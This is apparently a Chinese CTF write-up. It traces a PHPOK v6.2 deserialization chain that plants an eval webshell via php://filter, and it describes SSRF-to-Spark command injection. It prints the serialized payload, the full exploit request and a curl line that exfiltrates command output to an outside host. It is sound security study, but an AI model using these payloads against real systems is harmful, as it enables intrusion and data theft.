审审PHP
 
QWB FINAL - CMS (PHPOK v6.2) 上次审计PHP还是在大二,换了电脑后也一直没有配置xdebug环境,导致当天只能硬着头皮看代码,看了一天后入口和出口都找到了,可惜没法debug不知道函数和参数的情况,加之对一些函数敏感度不够,错过了。今天就专门抽了一下午时间来配置环境和debug这个洞
环境配置 环境配置有点折腾人,因为给了dockerfile,但m1pro有点搞,所以记录下踩的坑。
首先,官方给的Dockerfile,在此基础上添加php7.2-xdebug进行安装
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 FROM ubuntu:18.04 ENV DEBIAN_FRONTEND noninteractive COPY sources.list /etc/apt/sources.list RUN apt-get update && apt-get install apache2 -y COPY apache2.conf /etc/apache2/apache2.conf COPY smity2.tar.gz /root/smity2.tar.gz COPY flag /flaaaaaaggggggggggg COPY study.sql /root/study.sql RUN apt-get update RUN apt-get install -y mariadb-server mariadb-client unzip software-properties-common php7.2 php7.2-xml php7.2-mysqli php7.2-xmlrpc php7.2-soap php7.2-intl php7.2-gd php7.2-zip php7.2-mbstring libapache2-mod-php php-xml php-xmlrpc php-soap php-intl php-gd php-zip php-mbstring unzip php7.2-xdebug vim RUN groupadd www \     && useradd --shell /sbin/nologin -g www www \     && rm -rf /var/www/html/* \     && tar zxvf /root/smity2.tar.gz -C / \     && chmod 755 -R /var/www/html \     && chmod 777 -R /var/www/html/_* \     && chmod 777 -R /var/www/html/task/ \     && service mysql start \     && mysql -uroot -proot -e "create user phpok identified by 'phpok';" \     && mysql -uroot -proot -e "create database phpok;use phpok;source /root/study.sql;" \     && mysql -uroot -proot -e "grant all on phpok.* to phpok@'localhost' identified by 'phpok' with grant option;" \     && mysql -uroot -proot -e "flush privileges;" \     && rm -rf /var/lib/apt/lists/* \     && chmod 644 /flaaaaaaggggggggggg \     && a2enmod rewrite \     && service apache2 restart ENTRYPOINT service apache2 restart && service mysql restart && sh 
 
替换source.list为arm64用的,需要对应上ubuntu版本,这里是18.04特有,别的会报错(实测)
1 2 3 4 5 6 7 8 deb http://mirrors.ustc.edu.cn/ubuntu-ports/ bionic-updates main restricted universe multiverse deb-src http://mirrors.ustc.edu.cn/ubuntu-ports/ bionic-updates main restricted universe multiverse deb http://mirrors.ustc.edu.cn/ubuntu-ports/ bionic-security main restricted universe multiverse deb-src http://mirrors.ustc.edu.cn/ubuntu-ports/ bionic-security main restricted universe multiverse deb http://mirrors.ustc.edu.cn/ubuntu-ports/ bionic-backports main restricted universe multiverse deb-src http://mirrors.ustc.edu.cn/ubuntu-ports/ bionic-backports main restricted universe multiverse deb http://mirrors.ustc.edu.cn/ubuntu-ports/ bionic main universe restricted deb-src http://mirrors.ustc.edu.cn/ubuntu-ports/ bionic main universe restricted 
 
然后配置docker-compose方便启动,需要注意环境的php.ini是要替换apache2目录的而非cli目录的,同时留意不需要映射9000
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 version: '3' services:   myimg:     image: myimg:0.1     build:       context: .       dockerfile: Dockerfile     ports:       - 8081:80       # - 9000:9000     volumes:       - ./var/www/html/:/var/www/html/       - ./php.ini:/etc/php/7.2/apache2/php.ini     stdin_open: true     tty: true 
 
最后就是在php.ini中追加xdebug的参数,这里是在网上找的基础上改的,但是原版里面有一行用#注释的内容,在vscode里看起来一点毛病也没有,但是解析php.ini时会出错,但是对于apache2的重启没有任何影响(后续通过/var/log相关日志排查出来的),在这里踩了坑,需留意
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 [xdebug] zend_extension="/usr/lib/php/20170718/xdebug.so" xdebug.remote_handler="dbgp" xdebug.remote_host="192.168.xx.xx" xdebug.remote_port="9000" xdebug.remote_log="/var/log/php/xdebug.log" xdebug.remote_enable=1 xdebug.idekey="outx" ;启用代码自动跟踪 xdebug.auto_trace = On ;启用性能检测分析 xdebug.profiler_enable = On xdebug.profiler_enable_trigger = On xdebug.profiler_output_name = "profiler.out.%t.%p" 
 
EXP 根据周末硬看了一天的成果,pop链是现成的,利用framework/engine/cache.php中的cache类,留意析构方法和save方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public function __destruct() { 	//echo "<pre>".print_r($this->key_list,true)."</pre>"; 	//echo "<pre>".print_r(count($this->key_list),true)."</pre>"; 	$this->save($this->key_id,$this->key_list); 	$this->expired(); } public function save($id,$content='') { 	if(!$id || $content === '' || !$this->status){ 		return false; 	} 	$this->_time(); 	$content = serialize($content); 	$file = $this->folder.$id.".php"; 	file_put_contents($file,'<?php exit();?>'.$content); 	$this->_time(); 	$this->_count(); 	return true; } 
 
当时为什么找到这个地方呢,就是从file_put_contents这个sink点搜过来的,然后确定了这个链是可以打反序列化的,这里可以用php://filter绕过这个exit
构造class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php class cache  {   protected $timeout = 1800; 	protected $status = true; 	protected $prefix = 'qinggan_'; 	protected $keyfile = ''; 	protected $folder = 'php://filter/string.rot13/resource=/var/www/html/_cache/'; 	protected $key_id = 'outx'; 	protected $key_list = '<?cuc riny($_CBFG[\'bhgk\']);?>'; 	protected $debug = false; 	protected $time; 	// 	private $time_use = 0; 	private $time_tmp = 0; 	private $count = 0; } echo(urlencode(urlencode(serialize(new cache())))); // 两次编码主要是为了第一次传递进去不影响后续解析 O%253A5%253A%2522cache%2522%253A12%253A%257Bs%253A10%253A%2522%2500%252A%2500timeout%2522%253Bi%253A1800%253Bs%253A9%253A%2522%2500%252A%2500status%2522%253Bb%253A1%253Bs%253A9%253A%2522%2500%252A%2500prefix%2522%253Bs%253A8%253A%2522qinggan_%2522%253Bs%253A10%253A%2522%2500%252A%2500keyfile%2522%253Bs%253A0%253A%2522%2522%253Bs%253A9%253A%2522%2500%252A%2500folder%2522%253Bs%253A56%253A%2522php%253A%252F%252Ffilter%252Fstring.rot13%252Fresource%253D%252Fvar%252Fwww%252Fhtml%252F_cache%252F%2522%253Bs%253A9%253A%2522%2500%252A%2500key_id%2522%253Bs%253A4%253A%2522outx%2522%253Bs%253A11%253A%2522%2500%252A%2500key_list%2522%253Bs%253A29%253A%2522%253C%253Fcuc%2Briny%2528%2524_CBFG%255B%2527bhgk%2527%255D%2529%253B%253F%253E%2522%253Bs%253A8%253A%2522%2500%252A%2500debug%2522%253Bb%253A0%253Bs%253A7%253A%2522%2500%252A%2500time%2522%253BN%253Bs%253A15%253A%2522%2500cache%2500time_use%2522%253Bi%253A0%253Bs%253A15%253A%2522%2500cache%2500time_tmp%2522%253Bi%253A0%253Bs%253A12%253A%2522%2500cache%2500count%2522%253Bi%253A0%253B%257D 
 
burp
1 GET /api.php?c=call&f=index&data={%22m_picplayer%22:%220%26type_id%3Dformat_ext_all%26x%5Bform_type%5D%3Durl%26x%5Bcontent]=O%253A5%253A%2522cache%2522%253A12%253A%257Bs%253A10%253A%2522%2500%252A%2500timeout%2522%253Bi%253A1800%253Bs%253A9%253A%2522%2500%252A%2500status%2522%253Bb%253A1%253Bs%253A9%253A%2522%2500%252A%2500prefix%2522%253Bs%253A8%253A%2522qinggan_%2522%253Bs%253A10%253A%2522%2500%252A%2500keyfile%2522%253Bs%253A0%253A%2522%2522%253Bs%253A9%253A%2522%2500%252A%2500folder%2522%253Bs%253A56%253A%2522php%253A%252F%252Ffilter%252Fstring.rot13%252Fresource%253D%252Fvar%252Fwww%252Fhtml%252F_cache%252F%2522%253Bs%253A9%253A%2522%2500%252A%2500key_id%2522%253Bs%253A4%253A%2522outx%2522%253Bs%253A11%253A%2522%2500%252A%2500key_list%2522%253Bs%253A29%253A%2522%253C%253Fcuc%2Briny%2528%2524_CBFG%255B%2527bhgk%2527%255D%2529%253B%253F%253E%2522%253Bs%253A8%253A%2522%2500%252A%2500debug%2522%253Bb%253A0%253Bs%253A7%253A%2522%2500%252A%2500time%2522%253BN%253Bs%253A15%253A%2522%2500cache%2500time_use%2522%253Bi%253A0%253Bs%253A15%253A%2522%2500cache%2500time_tmp%2522%253Bi%253A0%253Bs%253A12%253A%2522%2500cache%2500count%2522%253Bi%253A0%253B%257D%22} HTTP/1.1 
 
Track It 接下来就一步一步从source到sink点分析
framework/api/call_control.php#index_f(),对应到URL则是api.php?c=call&f=index,中间参数写到注释中了
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 public function index_f() { 	$data = $this->get('data','html'); 	... 	if(substr($data,0,1) == '{'){ 		$data = $this->lib('json')->decode(stripslashes($data)); //解析json,写成键值对 		if($data){ 			$data = $this->format($data); 		} 	}else{ 		... 	} 	//基于接口禁用SQL 	$is_error = false; 	foreach($data as $key=>$value){ 		if(isset($value['type_id'])){ //$key = "m_picplayer" $value="0&type_id=format_ext_all...." 			$is_error = true; 			break; 		} 	} 	if($is_error){ 		$this->error(P_Lang('系统禁止改写类型参数')); 	} 	$call_all = $this->model('call')->all($this->site['id'],'identifier'); 	$is_ok = false; 	$rslist = array(); 	foreach($data as $key=>$value){ 		//检查系统是否有开放SQL调用 		... 		//明文传输将禁用sqlext和sqlinfo 		if(isset($value['sqlext'])){ 			unset($value['sqlext']); 		} 		if(isset($value['sqlinfo'])){ 			unset($value['sqlinfo']); 		} 		if($call_all && $call_all[$key] && $call_all[$key]['is_api']){ // $call_all[$key]['is_api'] = 1 			$tmpValue = $value; 			$fid = $key; 			.. 			$rslist[$fid] = phpok($key,$tmpValue); // 关键点 -> framework/phpok_tpl_helper.php 			$is_ok = true; 		}else{ 			... 		} 	} 	... } 
 
framework/phpok_tpl_helper.php#phpok($id='',$ext="")
 
1 2 3 4 5 6 7 8 9 function phpok($id='',$ext="") // $ext="0&type_id=format_ext_all...." $id="m_picplayer" { 	... 	$count = func_num_args(); 	if($count<=2){ 		return $GLOBALS['app']->call->phpok($id,$ext); // 关键 -> framework/phpok_call.php 	} 	... } 
 
framework/phpok_call.php#phpok($id,$rs="")
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public function phpok($id,$rs="") 	{ 		... 		//格式化参数 		if($rs && is_string($rs)){ 			parse_str($rs,$rs); //parse_str 将字符串解析成多个变量 		} 		... 		// 向$rs中添加了两个字段site和_baseurl 		if(substr($id,0,1) != '_'){ 			$call_rs = $this->load_phpoklist($id,$rs['site']); // 从$id=m_picplayer中获取信息 			... 			if($rs && is_array($rs)){ 				$call_rs = array_merge($call_rs,$rs); // 后面的值覆盖前面的,关键点,利用$rs中的type_id覆盖掉$call_rs的 			} 		}else{ 			... 		} 		$func = '_'.$call_rs['type_id']; 		if(!in_array($func,$this->mlist)){ // $this-mlist可用_format_ext_all打反序列化和_sql打任意sql注入然后在别处触发反序列化 			return false; 		} 		... 		return $this->$func($call_rs,$cache_id); 关键点 $func = _format_ext_all -> framework/phpok_call.php $call_rs['x']是我们控制的反序列化数据 	} 
 
framework/phpok_call.php#_format_ext_all($rslist)
 
1 2 3 4 5 6 7 8 private function _format_ext_all($rslist) { 	$res = ''; 	foreach($rslist as $key=>$value){ $value为我们设置的x时 		if($value['form_type'] == 'url' && $value['content']){ 			$value['content'] = unserialize($value['content']); //触发反序列化 			... } 
 
总结 到这里,这个洞跟完了,实际上并不复杂,可惜当时没有环境能看看处理流程,不然感觉自己应该可以完成这个0day的审计的!不过一切都在变好,继续努力😄
WMCTF - JAVA 
懒,就写在这里了,精力都给qwb了,只做了一道web
 
思路 给了个任意文件读取,但是这个任意文件读取可以列目录,比较神奇,读了Java的目录,没有什么有意思的东西,但是在读环境变量的时候翻到了一些k8s的配置,就在想是不是要ssrf打内网。
读取/proc/self/cwd目录时有很多tomcat的日志,在catalina的日志中翻到了一些遗落信息,比如打了10.244.0.160:8080这种,于是放开手扫这个c段(其实按理说应该是翻到配置,有个10段的内网地址,然后扫b段的,这里取巧了,因为看题的时候已经很迟了),然后扫到了spark
在ssrf点过滤了反引号,反引号的url编码,反引号url编码的url编码,搜了下这个洞,触发点在doAs参数,这个参数直接合并到/bin/bash -c "id -Gn 参数"中,命令拼接一下就行,于是在vps上监听,用;做一下分割就可以(注意payload需要两次url编码,一次是ssrf二次是内网web服务),payload如下
这里环境比较坑,我在美丽国的vps收不到,但是国内的vps点击就上,当时折腾了好久,记录下curl外带
1 ;curl -d "x=$(ls /|base64)" http://8.8.8.8